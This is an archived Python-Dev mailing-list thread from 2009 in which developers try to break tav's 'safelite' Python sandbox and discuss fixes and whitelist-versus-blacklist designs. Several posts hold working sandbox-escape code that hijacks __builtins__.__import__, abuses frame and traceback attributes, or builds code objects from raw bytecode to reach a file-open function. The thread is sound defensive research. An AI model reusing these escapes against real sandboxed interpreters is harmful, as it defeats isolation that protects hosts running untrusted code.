Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Daniel emailed in the exploit below and it is pretty devastating. It
takes advantage of the fact that the warnings framework in 2.6+
dynamically imports modules without being explicitly called!!

I've fixed this hole in safelite.py, but would be interested to know
if there are other non-user-initiated dynamically imported modules?

Thanks Daniel for bringing this to our attention!


On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz  wrote:
> Here's my attempt. Uses the builtin warnings module.You might need to
> change 'args[1]' to 'args[2]' depending on your environment.
>
> I really don't like to post these to public MLs, but feel free to do
> so if you think no harm may arise from this one ;)
>
> Daniel
> 
>
> from safelite import FileReader
>
> # Let's build a fake module
> warnings = __builtins__.__class__('warnings')
>
> # Fill it with deception
> warnings.default_action = "ignore"
>
> # And provide a supporting thug
> def __import__(*args):
>    try:
>        print "How nice:\n", args[1].keys()
>        global sys
>        sys = args[1]['sys']
>
>    except Exception, v:
>        print "Exception:", v
>    return warnings
>
> # Put the bogus module at the doorstep...
> __builtins__.warnings = warnings
>
> # and have the thug replacing the doorman
> __builtins__.__import__ = __import__
>
> # An unsuspecting costumer passes by...
> FileReader('safelite.py').seek(1.1)
>
> # ... and is brutally mugged :)
> print sys
> print dir(sys)
>



-- 
love, tav

plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Nick Coghlan
tav wrote:
> 1. Remove ``compile`` from the safe builtins
> 2. Take out ``tb_frame``
> 
> Thoughts on which of the two options is better would be very appreciated!

Given the context manager hack I just sent you (similar in spirit to
Paul's, just using a context manager's __exit__() method to get hold of
the traceback instead of hacked bytecode), I think we can safely say
that tb_frame has to go.

Cheers,
Nick.

-- 
Nick Coghlan   |   [email protected]   |   Brisbane, Australia
---
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Antoine Pitrou
tav  espians.com> writes:
> 
> I've fixed this hole in safelite.py, but would be interested to know
> if there are other non-user-initiated dynamically imported modules?

You'd better make __builtins__ read-only, it will plug a whole class of attacks
like this.


___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of "get_frame" from
safelite.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None

def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available.)
frame = safelite.get_frame(1)

# Look at that nice function right there.
open_file = frame.f_locals["open_file"]

# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame

# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

# Jump outta here
raise TypeError

def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


Andrew Dalke
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
Another hole. Not as devious as some, but easy to fix with yet another
type check.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None

def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available, but I
# could do it the old-fashioned way and raise/
# catch and exception)
frame = safelite.get_frame(1)

# Look at that nice function right there.
open_file = frame.f_locals["open_file"]

# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame

# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

# Jump outta here
raise TypeError

def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


Andrew Dalke
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread Victor Stinner
Hi,

Today it's clear that tav's jail is broken. Many hackers proved how to break 
it. Fixing each hole is maybe not the good solution.

IMHO the problem is that tav choosed the blacklist approach: hide some "evil" 
attributes/functions and hope that the other are safe... which is wrong (eg. 
evil compile(), reload(), isinstance(), str !!!, TypeError, ...).

A better approach would be to create a new world (namespace) from an empty 
namespace and then add our "secure" functions/types using strong validations 
(using a whitelist instead of a blacklist).

Examples:
 - why compile() was still available?
 - why __builtins__ is modifiable?
 - why __class__ is readable?

We should built an empty world and then add functions, types, attributes one 
by one until we can display an hello world ;-)

--

This approach was implemented in PyPy using two interpreters. 

In CPython, we may use proxies on anything to check all operations.
  jail   -- validations --> real world
  jail <-- proxy objects -- real world

tav's jail might be converted to the whitelist approach:
 - add proxy to __builtins__
 - add proxy to globals()
 - add proxy to dir()
 - ... well, add proxies to anything going to the jail ;-) and make sure that
   a proxy can not be modified by itself or read private attributes

My approach is maybe naive and imposible to implement :-)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread Nick Coghlan
Victor Stinner wrote:
> My approach is maybe naive and imposible to implement :-)

It actually goes back to some of the stuff Brett Cannon was working on
in his object capabilities branch. However, one of the key building
blocks turned out to be an easier to tailor import system, so the
project was kind of taken over by Brett's work on importlib.

Cheers,
Nick.

-- 
Nick Coghlan   |   [email protected]   |   Brisbane, Australia
---
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
  antoine> You'd better make __builtins__ read-only, it will
  antoine> plug a whole class of attacks like this.

I tried to put this off as long as I could to try and unearth
interesting attacks.

But unfortunately I couldn't figure out a way to fix the warnings
approach used by Daniel without doing this -- so from v7 __builtins__
isn't shared any more.

The good thing is that we won't have more of the __builtins__ class of
attacks -- the flip side is that we might be closing the door on
discovering some really interesting gems...

  andrew> I can look up the stack frames and get
  andrew> "open_file", which I can then use for whatever I want.

Ehm, thanks for taking the time to implement that Andrew.

But the challenge was about doing `from safelite import FileReader`.

I specifically stated that form over the openly exploitable `import
safelite`... so, sorry =(

You have to remember that this isn't the way that this code will
actually be used in practise. This is just a challenge to see if the
model holds...

-- 
love, tav

plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Cesare Di Mauro
On Feb, 24 2009 at 12:11PM, Antoine Pitrou  wrote:

> tav  espians.com> writes:
>>
>> I've fixed this hole in safelite.py, but would be interested to know
>> if there are other non-user-initiated dynamically imported modules?
>
> You'd better make __builtins__ read-only, it will plug a whole class of 
> attacks
> like this.

I found very useful adding objects to the builtins namespace, but I'll prefer a
standard and controlled way to do so. Something like a built-in function
"install", like the following which I use:

import __builtin__, types

_ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType,
  types.FunctionType, types.GeneratorType,
  types.TypeType, functools.partial)

def install(*Args, **Keys):
  '''Installs the given parameters in the builtins namespace.
  From Args will be installed only valid types (classes, functions and types),
  taking their __name__ attribute.
  Every keyword-value cuple from Keys will be installed as is.'''

  _NameSpace = __builtin__.__dict__

  for Arg in Args:
if isinstance(Arg, _ValidBuiltinTypes):
  _NameSpace[Arg.__name__] = Arg

  for Key, Value in Keys.iteritems():
_NameSpace[Key] = Value


With a built-in install function a granular control can be implemented by
the running Python implementation.

Also, having builtins read only by default can be used in future compiler
and virtual machine implementations to gain interesting optimizations.

Cheers,
Cesare
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Nick,

> Given the context manager hack I just sent you (similar in spirit to
> Paul's, just using a context manager's __exit__() method to get hold of
> the traceback instead of hacked bytecode)

Thanks for this -- very cool!

> I think we can safely say that tb_frame has to go.

I've fixed this in v8 -- got a website that I can link to for the blog?

And instead of trying to make tb_frame go away, I'd like to add the
following to my proposed patch of RESTRICTED attributes:

* f_code
* f_builtins
* f_globals
* f_locals

That seems to do the trick...

-- 
love, tav

plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread tav
Hey Victor,

> Today it's clear that tav's jail is broken.

Forgive me as I'm sleep deprived, but no =)

> Many hackers proved how to break it.
> Fixing each hole is maybe not the good solution.

The aim of this challenge has been to:

1. Validate the functions-based approach
2. Verify if the proposed set of new attribute RESTRICTIONs are enough

As such, it has been important to ensure that we have as large an
attack surface as possible.

And given how trivial it has been to fix the bugs, the functions-based
approach seems to be holding up =)

And as for the attributes needing to be restricted, we've discovered
that we need to restrict the f_* attributes of frameobject along with
the initial type.__subclasses__, gi_code and gi_frame.

> A better approach would be to create a new world (namespace) from an empty
> namespace and then add our "secure" functions/types using strong validations
> (using a whitelist instead of a blacklist).

Sure -- you are absolutely right about using a whitelist approach.

safelite.py is just for the challenge... to demonstrate that the
functions-based approach could possibly lead to securing the Python
interpreter and to verify that we've restricted the necessary
attributes.

Once the patch gets accepted, we can start creating a fresh world
built up from an object capability base =)

> In CPython, we may use proxies on anything to check all operations.
>  jail   -- validations --> real world
>  jail <-- proxy objects -- real world

Ehm, I'd strongly discourage any approaches using proxies. The
performance penalties will just be insane.

If you really want one though -- check out Zope proxy. It already
implements this quite well and you can use it today! =)

-- 
love, tav

plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
tav 
> But the challenge was about doing `from safelite import FileReader`.

Though it doesn't say so on the first post on this thread nor your page at
  http://tav.espians.com/a-challenge-to-break-python-security.html

It says "Now find a way to write to the filesystem from your
interpreter". Which is what I did.  Who's to say your final
implementation will be more secure ;)

But I see your point. Perhaps update the description for those
misguided souls like me?

> This is just a challenge to see if the model holds

I haven't been watching this discussion closely and I can't find
mention of this - is the goal to support only 2.x or also support
Python 3? Your model seems to assume 2.x only, and there may be 3.x
attacks that aren't considered in the challenge.

For example, in Python 3 I would use the __traceback__ method of the
exception object to reach in and get the open function.  That seems
morally equivalent to what I did.

I hacked out the parts of safelite.py which wouldn't work in Python3.
Following is a variation on the theme.

import safelite

try:
safelite.FileReader("/dev/null", "r", "x")
except TypeError as err:
frame = err.__traceback__.tb_next.tb_frame
frame.f_locals["open_file"]("test.txt", "w").write("done.")


> And instead of trying to make tb_frame go away, I'd like to add the
> following to my proposed patch of RESTRICTED attributes:
>
> * f_code
> * f_builtins
> * f_globals
> * f_locals

which of course would make the above no longer work.

Cheers,

Andrew
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Andrew Dalke
On Tue, Feb 24, 2009 at 3:05 PM, tav  wrote:
> And instead of trying to make tb_frame go away, I'd like to add the
> following to my proposed patch of RESTRICTED attributes:
>
> * f_code
> * f_builtins
> * f_globals
> * f_locals
>
> That seems to do the trick...

A goal is to use this in App Engine, yes? Which uses cgitb to report
errors? Which needs these restricted frame attributes to report the
values of variables when the error occurred?

Andrew Dalke
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Victor Stinner
Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
> > And instead of trying to make tb_frame go away, I'd like to add the
> > following to my proposed patch of RESTRICTED attributes:
> >
> > * f_code
> > * f_builtins
> > * f_globals
> > * f_locals
> >
> > That seems to do the trick...
>
> A goal is to use this in App Engine, yes? Which uses cgitb to report
> errors? Which needs these restricted frame attributes to report the
> values of variables when the error occurred?

We should be able to restore the original environment. Example:

   ...
   jail(evil_func)  # called in the jail
   # unsafe environment with __subclasses__, f_code, etc.
   ...

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Andrew & Victor,

  tav> But the challenge was about doing `from safelite import FileReader`.

  Andrew> Though it doesn't say so on the first post on this thread
  Andrew> nor your page at
  Andrew> http://tav.espians.com/a-challenge-to-break-python-security.html

Sorry, perhaps I should have clearly instructed NOT to do `import safelite`.

I thought the following text would have been clear enough:

  Open a fresh Python interpreter and do:
  >>> from safelite import FileReader

But I can see how that might not have been enough. I'll amend the
second line to:

  >>> from safelite import FileReader # AND NOT ``import safelite``

Would that be clearer?

  Andrew> I haven't been watching this discussion closely
  Andrew> and I can't find mention of this

Sorry, the discussion has been meandering. It started on:

* http://code.google.com/p/googleappengine/issues/detail?id=671

Then went onto:

* http://codereview.appspot.com/21043/show

And finally ended up here on Python-Dev to get approval for the patch.
And in the process of getting the approval, the safelite challenge
started...

  Andrew> is the goal to support only 2.x or also support
  Andrew> Python 3? Your model seems to assume 2.x
  Andrew> only, and there may be 3.x attacks that aren't
  Andrew> considered in the challenge.

The model is suited for both 2.x and 3.x. The safelite test on the
other hand is targeted at 2.x (starting from 2.5).

You have a point with regards to there being 3.x attacks being out
there. Perhaps we can get a 3.x compatible version of safelite out?

  tav> And instead of trying to make tb_frame go away, I'd like
  tav> to add the following to my proposed patch of
  tav> RESTRICTED attributes [snip]

  Andrew> which of course would make the above no longer work.

The challenge helped identify those attributes. And will hopefully
identify any other "leak" attributes which may still be there.

  Andrew> A goal is to use this in App Engine, yes?

Yes.

  Andrew> Which uses cgitb to report errors? Which needs these
  Andrew> restricted frame attributes to report the values of
  Andrew> variables when the error occurred?

The frame attributes will still be accessible by cgitb. Python's
existing IsRestricted framework in the interpreter will take care of
that.

It's genius!!

  Victor> We should be able to restore the original environment.
  Victor> Example:

  Victor> jail(evil_func)  # called in the jail
  Victor> # unsafe environment with __subclasses__, f_code, etc.

Hmz, Python's IsRestricted already enables this.

I think it's time that I wrote some documentation that Martin wanted
explaining Python's already existing IsRestricted support.

Besides a few lines here and there, there seems to be no comprehensive
documentation on this that I can find anywhere. And I think this may
be the cause of much confusion?

Would that help?

-- 
love, tav

plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread P.J. Eby

At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote:

Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
> A goal is to use this in App Engine, yes? Which uses cgitb to report
> errors? Which needs these restricted frame attributes to report the
> values of variables when the error occurred?

We should be able to restore the original environment. Example:

   ...
   jail(evil_func)  # called in the jail
   # unsafe environment with __subclasses__, f_code, etc.
   ...


Of course, you'll have to ensure that anything you do with data from 
the jail is also jailed...  that callbacks run in the jail, 
etc.  (This is one advantage of the RestrictedPython approach -- the 
jailing of the restricted code isn't dependent on some global state; 
it's wired right into the restricted code.)


___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Jeff Hall
I didn't see Tav actually say this but are we all agreed that compile()
should be removed from __builtins__?
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread Christian Heimes
Victor Stinner wrote:
> This approach was implemented in PyPy using two interpreters. 
> 
> In CPython, we may use proxies on anything to check all operations.
>   jail   -- validations --> real world
>   jail <-- proxy objects -- real world
> 
> tav's jail might be converted to the whitelist approach:
>  - add proxy to __builtins__
>  - add proxy to globals()
>  - add proxy to dir()
>  - ... well, add proxies to anything going to the jail ;-) and make sure that
>a proxy can not be modified by itself or read private attributes
> 
> My approach is maybe naive and imposible to implement :-)

Something similar to your approach is already implemented in Zope 3's
security system. Have a look at
http://svn.zope.org/zope.security/trunk/src/zope/security/

Christian

___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Mon, Feb 23, 2009 at 11:07 PM, tav  wrote:
>  guido> I can access the various class and metaclass objects
>  guido> easily [snip]
>
> It would've been possible to replace __call__ on the metaclass --
> which, though not a security leak by itself, could've been abused for
> some fun.
>
> I've inlined the __metaclass__ to prevent fun of this kind.

In fact you don't need a metaclass at all. I think you could do
something like this in your Namespace() function:

...compute ns_items as before...
class NamespaceObject(object):
  __slots__ = ()
for name, value in ns_items:
  setattr(NamespaceObject, name, value)
return NamespaceObject()

> But the really tricky one so far is this hardcore hack that Paul
> Cannon emailed in:
>
 from safelite import FileReader
 __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 
 'eval'))(2, 2, 4, 67, 
 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
  (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, 
 (TypeError,))
 try:
> ...   FileReader('foo', 2)
> ... except:
> ...   pass
> ...
 stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

That is a known loophole that makes anything possible (mostly
segfaults, for sure). App Engine also stops you from doing this.

> He explains it in detail here:
> http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html
>
> It's very cool!
>
> He uses the ``compile`` builtin to get hold of the CodeType and then
> uses that to construct a nifty function with custom bytecode. Turns
> out that with the bytecode one can grab traceback objects off of the
> stack!!
>
> And, from there, it's just a mere attribute access away to get hold of
> traceback.tb_frame!
>
> Paul, wisely, outlines the two possible options to remedy this:
>
> 1. Remove ``compile`` from the safe builtins
> 2. Take out ``tb_frame``

3. Disallow creating code objects from their constructor in restricted
mode. Please add this to your "restricted" patch.

(I still think your challenge would be more realistic if you didn't
share __builtins__ but instead relied on restricted mode more.)

> If compile is not present and given that func_code and gi_code are not
> present -- are there other ways of getting at the CodeType? If there
> aren't then getting rid of compile gives us an easy win.

You can also create code objects by unmarshalling them. This should
also be prevented in restricted mode.

> If getting rid of tb_frame is the approach -- then you were right
> Guido -- there are more variables which need to be restricted! But,
> this just makes the patch into 7 lines of code instead of 6, so I'm
> still happy =)

Restricting tb_frame is probably a good idea on its own; in 3.0 you
won't have to work so hard to get access to a traceback object, since
each exception has one. OTOH traceback.py uses some things from the
frame, but maybe we'll just have to forego that (or provide selected
R/O access to some frame attributes deemed benign).

> The only thing I can't figure out is how to get rid of the attribute
> using ctypes for the safelite challenge as calling
> dictionary_of(TracebackType) in safelite.py presents a very minimal
> {'__doc__': None}

I don't know anything about ctypes or dictionary_of(). Maybe you need
to raise an exception first so that PyType_Ready is called? The source
is in Python/traceback.c.

> Also, the comments in Lib/types.py states:
>
>    # In the restricted environment, exc_info returns (None, None,
>    # None) Then, tb.tb_frame gives an attribute error
>
> I can't seem to find the place in the Python source where exc_info()
> behaves differently under restricted mode...

I'm guessing this refers to a pseudo-implementation of sys.exc_info()
provided by rexec.py.

> Thoughts on which of the two options is better would be very appreciated!
>
> And thanks for the ongoing hacks guys -- this is turning out great!!
>
> --
> love, tav
>
> plex:espians/tav | [email protected] | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke  wrote:
> On Tue, Feb 24, 2009 at 3:05 PM, tav  wrote:
>> And instead of trying to make tb_frame go away, I'd like to add the
>> following to my proposed patch of RESTRICTED attributes:
>>
>> * f_code
>> * f_builtins
>> * f_globals
>> * f_locals
>>
>> That seems to do the trick...
>
> A goal is to use this in App Engine, yes? Which uses cgitb to report
> errors? Which needs these restricted frame attributes to report the
> values of variables when the error occurred?

The goal is not to run the entire app in the sandbox. The goal (Tav's
goal I should say -- I don't have this need myself :-) is for an app
to be able to safely run snippets of Python uploaded by users of the
app. I think it's fine if those snippets can't format beautiful
tracebacks -- the app's own ability to do so is not affected.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall  wrote:
> I didn't see Tav actually say this but are we all agreed that compile()
> should be removed from __builtins__?

I personally disagree -- I think we should instead add restrictions on
the creation of new code objects by calling the constructor directly.
Calling compile() should be fine.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 12:27 AM, tav  wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!
>
> I've fixed this hole in safelite.py, but would be interested to know
> if there are other non-user-initiated dynamically imported modules?
>
> Thanks Daniel for bringing this to our attention!

Grep the source for PyImport.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread Guido van Rossum
On Tue, Feb 24, 2009 at 6:18 AM, tav  wrote:
> Ehm, I'd strongly discourage any approaches using proxies. The
> performance penalties will just be insane.

And yet your FileReader is essentially a proxy?!

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Core sprint page for PyCon 2009 now up

2009-02-24 Thread Brett Cannon
If you plan to attend go to
http://us.pycon.org/2009/sprints/projects/python-core/ and fill in your name
and when you plan to be there (not required, though; just nice).

-Brett
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Daniel (ajax) Diniz
print '''
tav wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!

Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.

Targets 2.6 or trunk.

It was how I stumbled upon the _warnings hack :)

Should be copy-n-past'able,

Daniel
'''

# Hi
from safelite import FileReader

# First, it's possible to set a booby-trapped
# Exception due to a Python bug

# This is bait, say hi bait
def bait():
''' Hi! '''
try:
return bait()
except:
return "Ready to go"

# Set the trap
bait()

# Let FileReader trigger it -> RuntimeError in Namespace:
FileReader('safelite.py')

# ^- shoud give:
# Traceback (most recent call last):
#   File "", line 1, in 
#   File "safelite.py", line 242, in FileReader
# self = Namespace()
#   File "safelite.py", line 165, in Namespace
# for name, obj in sys.get_frame_locals(frame) \
#   .iteritems():
#  RuntimeError: maximum recursion depth exceeded
#

# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
FileReader('safelite.py')
except Exception, caught:
pass

# Let's brand it
caught.__init__("I'm back, the other side is scary!")

# Now set it free and see if it comes back
bait()
try:
FileReader('safelite.py')
except Exception, caught_again:
pass

# Who's there?
print caught_again # -> He's back!

# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.

# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available

# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)

# ^- shoud give:
# Traceback (most recent call last):
#  File "", line 1, in 
#  File "safelite.py", line 201, in FileReader
#fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
#   to internal function

# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message

# ^- shoud give:
# Traceback (most recent call last):
#   File "", line 1, in 
# SystemError: Objects/moduleobject.c:50: bad argument \
#  to internal function

# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.

# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.

# Here's the target: freedom
class freedom(object):
def __repr__(self):
print list(sorted(globals()['__builtins__'].keys()))
print '\n\n\n'
return str(input('Type for freedom:\n >> ;) > '))

# Initiate caught on it
caught.__init__(freedom())

# Set the bait...
bait()

# Now, type something clever :)
FileReader('safelite.py')
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Reviving restricted mode?

2009-02-24 Thread Jim Baker
This looks very interesting. What I like about Tav's approach is that it
should also be directly applicable to Jython. Much like Jython in general,
there's a tight correspondence between typeobject.c/PyType.java and
genobject.c/PyGenerator.java. So we plan on trying out a similar, presumably
small patch too.

What will be very helpful here is identifying a set of tests that verify
these claims of restricted execution.

- Jim

On Mon, Feb 23, 2009 at 4:03 PM, tav  wrote:

> Hey Martin,
>
> >> The patch is a mere 6 lines of code and provides the absolute minimum
> >> that is needed to secure the Python interpreter!
> >
> > Unlike Guido, I'm not quite willing to your word for it.
>
> You are right. Sorry, I was a bit too enthusiastic and overstated the case.
>
> How about: "it could possibly enable a secured Python interpreter" ?
>
> > OTOH, the patch looks harmless (with minor corrections). It could
> > be considered a bug fix for the current set of restricted attributes
>
> Yes, and it is in that light that I would like the patch to be accepted.
>
> --
> love, tav
>
> plex:espians/tav | [email protected] | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
> ___
> Python-Dev mailing list
> [email protected]
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
